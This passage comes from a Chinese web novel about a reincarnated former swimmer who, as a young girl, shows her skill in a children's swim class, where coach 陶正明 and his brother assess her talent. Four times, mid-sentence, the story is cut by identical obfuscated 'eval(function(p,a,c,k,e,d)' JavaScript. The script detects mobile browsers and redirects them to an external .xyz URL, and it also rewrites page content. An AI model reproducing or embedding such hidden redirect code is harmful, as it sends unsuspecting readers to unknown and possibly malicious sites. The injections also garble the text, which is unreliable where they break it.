李诺霜走到了朱美慧的旁边，低着头也不说话，段宏宇有些小心地看着她，犹豫了一下还是决定继续开口说话。 “教练说我们到水里以后只要不动，就会浮在水面上，你是怎么做到沉到水底下的呢？” 李诺霜看他一眼，给他表演了一下这项技能。 她现在是完全自暴自弃了，反正晚上回去以后也睡不着了，之后也逃不掉，干脆什么都试一下，万一她就以毒攻毒成功了呢？ 在朱美慧和段宏宇的面前，李诺霜深吸几口气，让自己的血氧饱和度尽可能地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562884|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提高，然后跳进水里，入水的同时她快速地吐出一大口气。 接着，她就顺利地沉到了水底，在水底对着池边的段宏宇和朱美慧挥了挥手。 教正准备给这个班的孩子将水中换气的要领，顺便也是给家长讲解这堂课要怎么帮助孩子们进行学习。 结果，一个转头的功夫，岸上的人又少了一个。 这课也太难上了，生动给所有社畜展示了一次什么叫做钱难赚shit难吃。 好在这次李诺霜没有在池底待太久，三十秒后她自己就主动浮了上来，头露在水面上，换了口气以后跟段宏宇说话。 “就这么沉下去。” 段宏宇眼睛都亮了，他立刻举起手，大声喊道：“教练！我要学这个！这个好玩！” 李诺霜没有说话打击他的积极性。 教练尴尬地看了一眼浮在水面上，时不时踩几下水的李诺霜，再看看一脸兴奋跃跃欲试的段宏宇，开始解释。 “如果我们今天呼吸学得快的话，踩水可以今天就交给你们。” “你想学这个，就要认真听讲哦，所以接下来的时间里，不要再打断教练说话了。” 安排好其他同学的水下换气学习，一个一个地检查过进度，跟家长讲解了要点让孩子们自由学习后，教练对着水里的李诺霜招了招手，示意她从水里上来。 “你好像是会游泳的，但是你妈妈好像不知道你会。” “能跟我说说，为什么排斥学游泳吗？” 李诺霜在水下的时候，脑子里多了一点属于原主的记忆，原主三四岁的时候，原主的父亲是有带她去江边玩过的，狗刨也教过一点。 李凤兰白天要上班，并不知道父女俩是不是在家。 背锅的这不就找到了么？ “我会狗刨。爸爸教的。” “但是爸爸现在不要我和妈妈了，所以如果妈妈知道我会，就会像爸爸一样不要我。” “你要告诉我妈妈，让她不要我吗？” 教练一时失语，反应过来以后又有些心疼这个上课时特别不配合的小姑娘。 很多孩子在父母感情发生变故后都会选择调皮捣蛋来引起父母的重新关注，眼前这个孩子的行为，好像也不是不能理解。 “我可以不告诉你妈妈你会一点游泳，但是你上课的时候不能再像今天一样捣乱了，可不可以？” 李诺霜点点头：“行。” “那我们约法三章，来盖章。” 李诺霜看着教练伸出来的小拇指，犹豫了一下以后还是跟他一起完成了这次盖章。 “那我们一起回去练习换气好不好，你刚才都答应我了，要和其他小朋友一起学习的。” “我会。” “我知道你会，但是你没有完整地做完一个动作给我看，就好像你在学校里，也不能跟老师说你会就不考试了吧。” “所以，你得展示给我看，这样我才能相信你是会了。” 李诺霜抬眼看了一眼教练，决定配合他一下。 打工人也不容易，带孩子的打工人更加不容易，不为难他了。 5. 突破 游泳呼吸的练习，初学者一般都会在教练的指导下，首先手扶着池边让自己能够浮在水面上，然后再进行水下换气的练习。 水下换气可以大致分为两个部分，在水上的吸气，以及吐气。 对没有学过游泳的初学者而言，其实只要改变自己在岸上时习惯用鼻子进行呼吸的习惯，学会换气就并不困难了。 下水后，李诺霜并没有像其他人一样主动扶着池边或者在家长的帮助下保持漂浮状态，她很松弛地通过频率并不高的踩水，来保证自己整个头可以露出水面。 教练要看她换气，那就换给教练看。 李诺霜调整了一下自己的身位，在水中从直立变成了平行与水面，两腿微微打水来保证自己的体位足够正确。 上辈子虽然李诺霜主项是仰泳，但是自由泳和蝶泳她游得也不错，是单项成绩世界大赛能进决赛的水平。 所以，她给教练展示了一下自由泳的双侧呼吸，并且纯靠腿部动作游了一小段。 教练当然能看出来，她的腿部动作可不仅仅是狗刨那么简单，是非常典型的自由泳的腿部动作，因此对她的基础也有了比较明确的了解。 他冲李诺霜打了个手势，示意她上岸，自己有话跟她说。 “你加一下手部，我看一下你游得到底怎么样。” “因为我们这个班，其实目的就是为了在三十天内教会大家自由泳和蛙泳两种泳姿，你刚才做的是自由泳腿的打腿动作。” “我看一下你的手部，如果你的动作没有什么问题，那前面自由泳的课程，你就可以不跟班学习，或者你可以给其他同学做示范，当我的小助手。” “或者你也可以选择自己在池子里游，我们一节课是两个小时，两个小时你游完两百米，我这边可以让你在整个泳池的范围里玩，只要你不影响其他同学上课，你玩什么都可以。” “你觉得怎么样？” 李诺霜思考了一下，问道：“我可以带作业过来写吗？” 问这个问题不是她有多热爱学习，主要是原主之前玩得也太嗨了，暑假过半，暑假作业因为白天父母都不在家，她根本就没动几个字。 “当然，只要你不影响其他同学的学习，又完成了我每天的任务，你想做什么都可以。” 李诺霜伸出一只手，示意教练跟她击掌：“那成交。” “对了，你要不要看蛙泳，如果我蛙泳动作没有问题，后面十五天我能不能也用来写作业？” 教练嘴角略微抽搐两下：“你想的话，那就一起游给我看吧。” 李诺霜现在只想得寸进尺：“教练，要不这样吧，我自由泳游五十米，蛙泳游五十米，然后你就算我今天的任务完成了一半，怎么样？” 这话就有点说大话的嫌疑了，不管是标准自由泳动作，还是标准蛙泳动作，游五十米对这个年纪的孩子而言，都是有难度的。 在李诺霜穿越前的21年，对小学生的游泳达标要求也不过是无辅助独立游出25米，本身教练让李诺霜每次上课游200，就是在给她出难题了。 李诺霜一看也不是平时多经常锻炼的样子，教练并不觉得她能一次性游下来。 但他为什么要阻止呢？ 李诺霜对游泳这件事的惯性思维也是没有转换过来，还停留在过去的老思维里，她还在役身体也没出现严重伤病的时候，每天游泳的长度单位是以万米为单位的。 就算是高强度的冲刺游练习，每天至少也会游到六千五百米以上。 所以，对她来说，每天两百，那就是火锅涮肥牛和高压锅煮牛骨头的差距，前者花的那能叫时间？ 下水之前，李诺霜又想起来一个问题：“教练，我游小波蛙可以吧。” 竞技蛙泳目前主流的动作分为高航式蛙泳和小波蛙两种，其实从名字上也能看出来二者的差别。 顾名思义，高航式蛙泳就是出水动作很高的蛙泳，又名高拉前冲式波蛙，它对使用者的核心力量要求非常高，在划水的时候配合核心力量的运用让身体高高挺起，然后再次运用核心力量的帮助进行前冲的划水。 它的优缺点非常明显，因为它基本在水上部分完成了前冲减阻的过程，所以减阻效果很强，但是也是因为出水的幅度大，会导致它的频率受到一定的影响。 所以，它是一种实效性很强但频率有所欠缺的蛙泳技术。 在竞技游泳项目里，依然有数量不少的运动员会选择这种姿势的蛙泳。 而小波蛙，是一种起伏高度有些接近蝶泳的蛙泳技术，它的出水幅度小，相对应的就是动作连贯性强所带来的频率提升，并且对核心力量的要求相对高航式蛙泳也有所降低，如果能做到频率足够优秀，弥补实效性的差距，那么这种泳姿也会非常适合出成绩。 在李诺霜穿越前，2021年，已经有越来越多的蛙泳运动员选择这一种技术动作，其中的代表人物所取得的成绩也是非常辉煌的。 李诺霜其实小时候学游泳，教练是有想过把她往混合泳的方向去培养的，因为她仰自蝶三项在同龄人（真实年龄）中都非常突出，只要攻破了蛙泳关，她应该可以在混合泳上取得很好的成绩。 问题就出在她的蛙泳实在是太天残了，抢救无效的那种，她属于是小波蛙的出水动作搭配上高航式的频率，两种技术的短板她全占。 教练万万没想到李诺霜会问这个问题，这个时候他甚至想问一句你妈跟你爸离婚是不是因为你爸脑子多少带点？ 谁家家长教孩子是从小波蛙教起啊？肯定都是教平式蛙泳，波蛙那都是竞技蛙泳的人才玩的。 想到这里，教练又多了个心眼，问了一句。 “那你自由泳是划水是准备高肘抱水还是低肘抱水呢？” 教练心里的标准答案其实是，不，我是直臂。 直臂是有所正常出学者都会学习的一种自由泳手部姿势，尤其是对青少年而言，毕竟曲臂划水不管是高肘还是低肘，对身体素质的要求都很高，青少年身体还处在发育期，学这些泳姿负担还是有些大的。 教练准备交给大家的，就是直臂划水的动作。 三十天，教会没有学过游泳的儿童两种泳姿，当然是怎么简单怎么来。 对初学者而言，学曲臂划水，很容易让他们的动作产生不连贯，需要练习花费的时间是很长的，不适合短期的教学计划。 李诺霜完全没察觉到教练留下的这个小小陷阱：“我只能尽量高肘，不能保证自己一定是高肘。” 教练已经无奈了：“行，知道了，那你去游吧。” 李诺霜应了声，然后爬上一边的出发台，以一个标准的出发姿势弹了出去。 当然，入水的距离并不是很远，下水后，李诺霜按照比赛标准直接潜泳了十四米半的样子，然后出水开始正式的自由泳划水动作。 教练现在不想说话，他在自己左右两个兜里都掏了掏，没掏出来秒表。 也是，今天其他两节课他上得都挺顺利的，怎么会想到下午这最后一堂课还会有用到秒表的需求。 自由泳李诺霜游起来还是比较轻松的，一个是因为她的体能这个时候也比较充沛，第二个也是因为自由泳的动作相对其他泳姿而言又快又省力。 但转身后进入到蛙泳的环节，她就开始吃力起来，她现在的身体年纪还是不大，平时也没怎么锻炼，核心力量属于是薛定谔的有。 你不用的时候感觉它应该是存在，但是等你要用的时候，你就会发现你其实没有的。 蛙泳游到25米的时候，李诺霜的感觉已经不是累了，她是直接出现了类似极点的反应，虽然她确定自己的呼吸动作还是准确的，也能给自己的身体提供足够的供氧量。 但是，游进过程中，她还是出现了明显的胸闷和呼吸困难的情况，划水和打腿也变得非常困难。 这时候，李诺霜的思绪又好像飘到了那个让她梦魇五年的奥林匹克水上运动中心，她突然有一种预感，或许只要她继续坚持下来，这个梦魇今后就不会再是她的梦魇。 教练已经放弃了盯着李诺霜的游泳过程，转而去给其他孩子盯换气动作了。 第一，因为他在李诺霜身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562885|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上花的时间确实不少，所有孩子来学游泳花的学费都是一样的，他老是只盯一个人，其他家长会有意见的。 第二，李诺霜都游成这样了，他还有什么好盯的，这动作都快比他还要标准了，还用得着他教？ 不过，他一边给其他孩子指导动作，一边也在思考一个问题。 要不要给现在在楼上带训的哥哥发条消息呢？ 李诺霜终究还是靠自己的意志力突破了极点，完成了这一共一百米的游程。 突破极点以后的感觉非常好，好到让她感觉自己甚至还能再游个几圈的样子。 时隔多年重回泳池，虽然是不同的身体，但这种感觉还是让李诺霜非常满足，她终于确定了。 她的梦魇并不是游泳本身，而是曾经拥有过无与伦比的天赋，但这个天赋却最终离她而去的失去的感觉。 她心底里，还是爱游泳的。 第三个五十米，李诺霜选择了自己游得最多，感情也最深的仰泳。 因为是户外露天的泳池，她能看到此刻天边大片的雪白云朵，随着她划水的动作，周围不断地溅起一些水花，在阳关的折射下透出一些七彩的光，迷幻有美妙。 李诺霜觉得，或许回去之后，她应该向李凤兰道个歉，毕竟如果不是李凤兰不断的逼她，那么她也不能发现自己真正害怕的是什么。 游进的过程中，李诺霜渐渐地也发现了一些问题。 比如说，她对自己的身体掌控能力好像超乎了她的想象，之前的自由泳和蛙泳她还没有注意，但仰泳动作她实在是太熟悉了，所以一点细微的差别她都能察觉到。 上辈子她之所以会出现习惯性脱臼的肩伤，并且在比赛中发作，除了她本身的关节结构存在一定的先天性问题以外，也和她的技改有关。 喀山世锦赛回来之后，李诺霜在游泳中心和教练的安排下，加大了自由泳在日常训练中的比重。 同时，在外教的指点下，李诺霜也在进行她的主项仰泳的划水动作的技术改进。 不管是自由泳动作中的高肘抱水，还是仰泳动作中的转肩，对肩部的负担都是不小的。 而在技术改进的过程中，因为李诺霜一开始没能完全掌握正确的动作，并且增加了自己的手部划水频率，所以导致她的动作引爆了原本就存在于肩关节的问题，即使她后来正确地掌握了动作，但是她这时候的身体情况做这个动作就已经存在一定的负担了。 她很清楚地记得，自己从改技术动作开始到改技术动作结束一共花了整整七个半月的时间。 其实这个时间并不算很慢了，游泳技术动作的改进有快有慢，几个月就卓有成效的有，磨个一两年才搞定的也不在少数。 学不会动作只有两个原因，脑子没记住，脑子记住了但是肌肉没记住。 游进了一段时间后，李诺霜才反应过来，她好像用的就是自己技改改了很久才学会的动作。 这个发现让她当时就停住了动作，身体也由原本的平躺变成了直立。 什么情况？她现在应该是脑子会了但是肌肉没记住的状态啊？为什么她可以做出来？ 为了验证自己的猜想，李诺霜决定试一下她还没有完全改完的蝶泳动作进行一次尝试。 她原本的蝶泳划水动作是小S型划水，这是一种由近体直划和S型划水相结合的划水动作，它对肩膀的压力更小，发力相对近体直划更容易，但是划水效率比S型划水相比又会更高一些，算是针对近体直划的一种降难度改革。 近体直划对她而言，是属于脑子会了肌肉根本没尝试过的类型，因为她当时的肩部状态，已经不容许她再增加这样的巨大负担了。 差不多做了四次划水动作，李诺霜惊讶地楞在水里。 她很确定，虽然动作没能做到最标准最高效率，但是她刚才做出来的确实是近体直划的手部动作，而不是S型或者小S型。 这一刻，李诺霜的心一片火热。 无与伦比的技术动作学习速度，是否代表着，她其实是有希望在这辈子完成自己前世没能完成的梦想？ 6. 道歉 众所周知，游泳并不是一件技术能弥补一切的运动，超高的身体素质能让人在起跑线上就大幅度领先其他人。 技术虽然在不断地更迭，但只要你游得足够快，你用的技术就是正确的。 所以，目前李诺霜也并不敢对这具新身体抱有什么太乐观的预估，通过刚才游进的过程就能判断出来，力量很弱，耐力也并不优秀。 不过她也不太确定这种弱势是因为她之前没有系统地做过训练，还是真的天生的就不行。 前者，可以通过训练来进行弥补，毕竟可预见的她之后花在技术调整上的时间会省下不少，多的这部分用来弥补身体素质上的不足也算合理运用时间。 可要是真的天生身体素质就不行，练也没用的那种，那上限就会有些低了。 身体素质这点先按下不表，李诺霜准备依次判断一下自己的其他几项游泳运动员选材时会用到的常规判断项。 首先非常直观的就是身材，她目测了一下自己的肩宽和髋宽，肩宽应该是明显大于髋宽的，属于比较标准的游泳运动员身材。身高，上次量是放暑假之前，当时是1米36，,在同龄人当中也是挺不错的。 骨龄暂时没法儿测，但没记错的话，她应该是从小学一开始就比其他小孩儿略高一点，应该不是提前发育的原因。 臂展、大小腿比例、手足面积这些也是可以用肉眼看的，没有突出得特别明显但是也不算差。 柔韧性协调性和浮力这些可以通过简单的测试进行判断，都还可以，那么就剩下最后一条，水感了。 水感其实是可以通过后天的训练进行培养的，不过如果天生水感比较好，当然会更好一些。 测试的方法并不复杂，人在水里，用手做类似太极一样的搅水动作，每次能带动更多水流的就是水感好的。 所有相关的项目李诺霜大致判断了一下，对自己的信心更足了一点。 那么，现在就只剩下最后一条了，什么时候去给李凤兰道歉，然后说明自己想往专业的游泳运动员方向发展。 在水里又游了个五十，李诺霜自己上了岸，半坐在岸边看教练教其他孩子进行这堂课的第二个内容，水中团身闭气。 这个闭气的内容其实就是你吸足气以后，以一个类似抱膝盖的姿势把头埋进水里，能够团身稳定在水中就算成功。 段宏宇是其中相对比较笨拙的那个，目前还处在一种需要朱美慧不断帮助他稳定自己的位置，朱美慧一撒手他就不知道该怎么办的状态。 有了，似乎可以让朱美慧帮忙做个说客，正好也可以让朱美慧帮忙隐瞒一下自己在游泳这边的进度。 至于要隐瞒到什么时候，李诺霜觉得这个游泳班结束就差不多了。 想让朱美慧帮忙，自己也得拿点表现出来。 看段宏宇在水中依然挣扎，李诺霜决定过去帮他一把。 她走到了朱美慧旁边，跳进了水里。 “你不要挣扎啊。” “挣扎就飘不稳。” “学完了团身以后要学团身后站立的，你团身都团不住，那你下一课就上不下去了。” 听到李诺霜的话，段宏宇挣扎得更厉害了。 朱美慧干脆扶着他从水里探出来了个头。 出水后，段宏宇脸上写满劫后余生，大口喘着气。 “霜霜，你会的话你教教他吧，我也不怎么懂游泳，教练说的要领我也听得半懂不懂的。” 李诺霜点点头：“好的呀。” “你先看我弄一下这个动作，它其实就长得跟我们蹲在地上是一样的。” 说着，李诺霜停止了踩水，在水中舒展地团身抱住了自己的双膝。 随着她往外吐气的动作，她原本在水中露出一截的的背也被水淹没，整个人以一个像在母亲体内的胎儿一般团身漂浮在水中。 展示了大概二十秒左右，李诺霜双臂先展开，然后脚伸直，一个调整重新变成了直立在水中的状态，再踩了几下水把自己的头送出到水面上。 “基本就是这样了，后面那个从团身到水中直立的动作应该也是要学的。” 段宏宇觉得很神奇：“为什么你在水里抱着腿的时候可以不动？” “我在水里的时候我老是觉得我好像要翻了，一点都不稳，那种感觉就是很吓人，然后我一动就更不稳了，更加吓人。” 李诺霜还真不知道该怎么用小学二升三的知识给段宏宇解释明白，所以她干脆不解释了。 “怎么跟你说呢？我们现在在水里就好像你拿跟绳子穿着你的钥匙吊着，你刚把钥匙放下去的时候钥匙会动的。” “但是等一会儿你不去动这个钥匙，它自己就停在那里不动了。” “你进水里以后刚下去的时候在动也不要害怕，因为只要你不往外面吐气，其实你是可以浮在水面上的。” “所以你动的时候就不要慌啊，就当自己在荡秋千就可以。” 段宏宇现在有些将信将疑：“荡秋千？” “对啊，荡秋千你总不怕了吧。而且朱阿姨就在你旁边站着，你觉得不舒服自己又出不来，朱阿姨随时都可以扶你。” 朱美慧适时地对儿子进行了一定的鼓励，段宏宇决定再试一次。 这次，李诺霜并没有在一边干看着，而是不断提醒着段宏宇需要放松，不要太紧张，不会出事的他很安全。 段宏宇这次终于是磕磕巴巴地靠自己在水中保持静止了三秒，然后就因为反应过来朱美慧的手居然撤开，瞬间慌乱开始乱动导致整个动作失败。 李诺霜很努力地憋住了没笑，继续鼓励道：“你看，刚才你就是可以自己完成这个动作的啊。” “阿姨刚把手撤开的时候，你明明就没什么感觉嘛，你再回忆回忆刚才那个感觉，应该就可以做出来了。” 段宏宇摆摆手：“不行了，我真的不行了，妈，我想去岸上趴会儿，我真的好累。” 朱美慧扶着段宏宇上了岸，然后温柔地看着李诺霜：“霜霜，阿姨有点事情想要问你。” “你可以告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562886|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姨答案不？” 机会啊，李诺霜心中一喜，表情上却是很为难的样子：“阿姨，那个，要是我回答了你的问题，你可以帮我的忙吗？” “你先跟阿姨说说是什么忙，阿姨再说答应不答应你。” 李诺霜想不起来这个年纪的小孩子到底做什么表情合适了，所以干脆直接说话，不做多余的表情。 “我想跟妈妈道个歉。” 朱美慧觉得有些奇怪：“为什么呢？” “因为我刚才不应该那么跟妈妈说话，我做错了，让妈妈生气了，所以需要跟妈妈道歉。” 这倒是稀奇，朱美慧决定再问详细一点：“你知道错了是好的，阿姨可以帮你这个忙，但是你得告诉阿姨，之前为什么要对妈妈那么说话？” 李诺霜仔细思考了一下，决定继续往没见面的爹身上扣锅。 “妈妈不跟爸爸在一块儿了，可是我有时候会想爸爸。” “爸爸小时候带我去水里玩，我想爸爸了就自己看电视里面的人游泳，就好像爸爸还在一样。” “可是妈妈不知道我看电视，也不知道我会游泳。妈妈知道我偷偷看电视会生气，知道我想爸爸会难过。” “我太急了，我不想来学游泳，妈妈又看着我，教练教的东西又好简单，我想装作不会的样子重新学，可是他教的东西太简单了，我不知道怎么装。” “妈妈生气了会原谅我，可是妈妈伤心了我不知道妈妈还能不能原谅我，所以我让妈妈生气，不让妈妈伤心。” 李诺霜刻意让自己的叙述变得更没有逻辑并且急躁，更符合这个年纪孩子的语言组织能力。 其实边哭边说效果应该更好一些，但她真的是哭不出来，只能这样了。 朱美慧应该是从她混乱的表达里听懂了她刚才说的东西是什么意思。 “你这孩子啊。” “那是你爸爸，就算你告诉你妈妈你想爸爸，她也不会怪你的。” 李诺霜摇摇头：“妈妈不怪我，可是妈妈会伤心。” “但是你现在这么做也让你妈妈生气了呀，也并不是一件非常好的事情。” “我想不到别的办法了。所以我现在要跟妈妈道歉。” “妈妈生气了我道歉妈妈会不生气，但是妈妈伤心了我不知道该怎么办。” “朱阿姨，你可以帮我这个忙吗？帮我跟妈妈道歉，也不告诉妈妈我其实会游泳，还有我背着妈妈偷偷在家看电视了。” 朱美慧故意迟疑了一下：“阿姨只能答应你一半。” “啊？朱阿姨你这么好，就都答应我吧。” “阿姨只帮你跟妈妈道歉，并且对你妈妈保密你会游泳这件事。” “至于在家偷偷看电视这件事，你自己去跟你妈妈认错吧。” 李诺霜回忆了一下原主记忆里的几次偷偷看电视被发现，统统都是一顿好打伺候。 罢了罢了，挨打就挨打吧，本来这件事情也是自己不对，挨顿竹笋炒肉就挨吧。 应该的。 7. 掌眼 段宏宇休息得差不多了，决定继续下水继续他痛苦的学习路。 李诺霜在水里泡了一会儿，上岸找到李凤兰给她放在岸边的小水壶，喝了几口水。 等她喝完水回到池子边，段宏宇已经有了一定的进步，至少现在朱美慧可以松手二十秒左右了。 对他目前的技术和年纪而言，做到这个动作其实就是他憋气的极限了，接下来就是重复的练习，以及学会怎么自己从水里面把头给探出来了。 教练还是挺照顾小孩子的体能的，进行下一阶段的学习之前，又给这帮小孩儿放了一段休息的时间。 段宏宇之前一直没在学校里受过什么挫折，现在到这边居然成为了后进生，这大大刺激了他的自尊心，于是仅有的几个主动加练的人里就有他。 李诺霜又帮他盯了两次，发现他确实是掌握了技能但是不够熟练后就从这块儿暂时离开了。 她还欠着教练一个50米没游完呢，反正教练也没规定她一定要用什么泳姿游完200米，她肯定不会用蛙泳游的。 虽然自由泳理论上是最轻松最省力的泳姿，但是仰泳是她自己最习惯也最喜欢的泳姿，所以剩下的这50米，她还是决定用仰泳给游完。 就在她游泳的时候，教练摸出了自己的小灵通，开始给其实就在楼上带训的亲哥发消息。 “哥，我今天捡到鬼了。” 他哥果不其然地没有看消息。 教练看了一眼时间，这个时间差不多楼上的他哥也该下课了，干脆直接打了个电话过去。 “喂？什么事？” “哥，你听我说，我今天好像捡到鬼了。” 教练他哥陶正华没懂弟弟葫芦里卖的是什么药，只当他是又脑子抽抽了。 “你今天不是在楼下带小孩儿学游泳么？还没下课呢吧，那都是小孩儿，也不会游泳，容易出事，你可看着点。” “今天是第一天上课，家长都在呢。” “哥，我有特别特别重要的事情要跟你说，你现在下训了没？” “下训了，不过我还得盯两个人加两组冲刺，你有什么事等你上完课了上来跟我说。” “我先挂了。” “别别别，哥，真的是十万火急，得你下来看一眼。” 陶正华还真有点纳闷：“陶正明，你今天搞什么名堂？” “哥，真的很见鬼，电话里一句两句说不清，我自己也拿不定注意，得你下来帮我掌掌眼。” “不会是有个孩子你觉得挺有天赋的吧？没记错的话你这个班招的不都是上了小学的孩子么，这年纪才开始学游泳可是不算早了。” “哥，你也知道，我之前没带过这年纪的孩子，我对这个年纪的孩子成绩曲线不是那么了解。” “总之哥你赶紧下来一趟吧。” 挂了电话，陶正华还是决定相信弟弟一次。 李诺霜已经游完了今天的两百米任务，对之前不怎么锻炼的这具身体而言，这个运动量已经够够的了。 所以，她准备上岸直接休息，顺便看会儿其他人学游泳的热闹。 陶正明看她上岸了，对她打了个手势，示意她过来。 李诺霜不明就里，但是人还是过去了。 “你游完了吗？” 李诺霜点点头：“嗯，今天的两百米已经游完了，教练，我想休息了。” 陶正明可不能让她就这么休息，毕竟陶正华人还没下来呢，他还打算让陶正华看看李诺霜到底是不是他想的那样，是个可造之材的。 “我看到你刚才好像游了一段仰泳？我们游泳班是只教自由泳和蛙泳的。” “所以，我说的两百米也只能用这两种去游，至于你游完了以后怎么玩，那是你的事情，我不会管你。” 怎么还有这种事，李诺霜感觉自己有点晕。 “教练，你为什么不早点跟我说呢？” “你也没告诉我你会仰泳啊。” “而且你不是说你爸只教了你狗刨么，你怎么仰泳自由泳蛙泳蝶泳全会了？” “其他的都是我自学的。” 陶正明也不想跟李诺霜纠结什么自学不自学，他对少儿阶段的一些数据确实不了解，毕竟他之前见过的队员都是已经进省队的了。 反正陶正华下来也用不了几分钟，让陶正华进行判断就行，他只负责让李诺霜继续游。 “就当你是自学的吧，你自由泳再游个50，不用游特别快，动作标准就行。” 只要补一个50，还在李诺霜的接受范围内，正好她也再认真体会一下自己游自由泳时候的感觉。 李诺霜爬上出发台的时候，陶正华正好走到陶正明的背后。 他一眼就正在出发台上站着的李诺霜，当时就有点不满：“正明，这孩子才多大，你就让她用出发台？” “这可不是你之前带过的那些技术已经有底子的人，万一出了事你怎么担得起？” 陶正明立刻辩解道：“哥，你别着急，这可不是我让她用的出发台，她自己上去的。” “我让你下来也就是为了看她的动作，我觉得这孩子动作还挺标准的，而且实效性好像也不错。” “但是我对这个年纪的孩子速度不太了解，所以需要哥你来看看。” 陶正华一摸兜，把自己带训用的秒表掏了出来。 随着李诺霜跳下游泳池，陶正华也按动了秒表上的计时器。 标准的潜泳分段让陶正华起了点兴趣：“这潜泳动作真是系统学过的吧，挺标准的。” “但是她这个速度也太养生了，但凡认真练个半年都不会是现在这个速度。” 陶正明能看出来李诺霜现在的速度比她一开始游的时候慢了一些：“哥，人家已经游过几个50了，这年纪的孩子，也不是体校的，估计也就暑假的时候能玩一段时间，那体能消耗上肯定比不了啊。” “我看她一开始游的时候还是挺快的，只可惜我今天来的时候兜里没有揣块表，所以不能给她测。” “而且我让你下来看也不是因为她速度多快多吓人，是因为她动作我看着真的很标准，哥你再仔细看看嘛。” “我觉得她体能提上来以后是有培养价值的。” 陶正华耐心蹲下看了一段，眉头微微皱起：“水下的动作这样看不清啊，水上的部分确实挺标准的。” “正明啊，也不是哥打击你，虽然队里是说你这两年能从这批学游泳的孩子里面挖出来在市运会里进前三的就让你归队，但是你自己也知道这个难度。” “咱们现在选材都是往幼儿园去了，你带的这些孩子年纪都够上小学三四年级的了。” “市运会是有个9岁组，但是一起比的专业练着的在这练了两三年，你带的这些孩子能练个半年一年就顶天了。” “本来就是选材剩下的孩子，时间还比人家练的少，拿什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562887|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么跟人家比？” 陶正明只能苦笑：“哥，你说的这些我都知道。” “可是你让我怎么甘心呢？我想回市队，真的太想回去了。” “哥你也知道我回来是为什么，不然我当时早就留校了。” “或许这个孩子身体素质不是最好的，但是我觉得她有潜力的。” “哥，我不知道你能不能懂我的意思，就是人的天赋分成很多种的，有那种天生身体条件就特别好的，划水划一下效率比得上人家划一下半甚至更多。” “但是，我觉得，技术学得快，学得好也能算是天赋的一种吧。” “而且，我的目标也不高，只是市运会她能够拿个名次就行，咱们市里也不是什么体育强市，去年省运会青少年组十六个参赛市和地区，咱们得倒数第三。” “我觉得她有希望的。” 陶正华看着执着的弟弟，也说不出什么反驳的理由。 身为哥哥，他比旁人更清楚自己的弟弟有多想重新回到正式教练的岗位上去。 “你非要搏这一次，我做哥哥的也不好给你泼这个冷水。” “但作为过来人，我带过的这个年纪的孩子比你多，有一点建议还是要给你。” 陶正明立刻多云转晴：“哎好嘞，哥你说我认真记着。” “你这个班是教多长时间？” 陶正明立刻回答道：“从今天开始一共三十天，暑假是每天教，等他们开学了以后是放在每周的周六和周日。” “那你这样，这个班结束之前，你多观察观察这孩子，看她游得多了以后有没有提升，她自己对游泳是个什么样的态度，家里有没有让她走这条路的想法这些。” “观察妥了，这个班结束以后再跟人家家长好好交代，你觉得人家有天赋，想带她学游泳。” “如果人家家里没有这个意思，那你也别强迫，现在的孩子家里都宝贝，舍不得孩子吃这个苦走这条路的大有人在，学着就当是个爱好。” “对这个年纪的孩子，家长关系一定要处理好，不然容易给自己招来大麻烦，你现在可不比当年了，真有什么事，你自己顶不住这个缸。” “咱们也不能强迫着替家长做决定，因为你现在连给人安排个体校都安排不了，解决不了人家未来的出路问题，你明白我的意思吧。” 陶正明听得直点头，但是有一件事他没想明白：“哥，我观察要不了那么久，为啥要班结束以后再跟家长说？” 陶正华有点恨铁不成钢：“你在省里是不是一点家长工作都不搞？没吃过猪肉总见过猪跑吧，课还没完你巴巴地要了其中一个学生跟着你学，其他家长怎么看你？” “大家都花一样的钱来学习，教练正大光明地在这搞差别待遇是吧。” “你这个班想接几个投诉啊，让你出来带个孩子班你还能搞出投诉记录来，这队里你还怎么回来？” 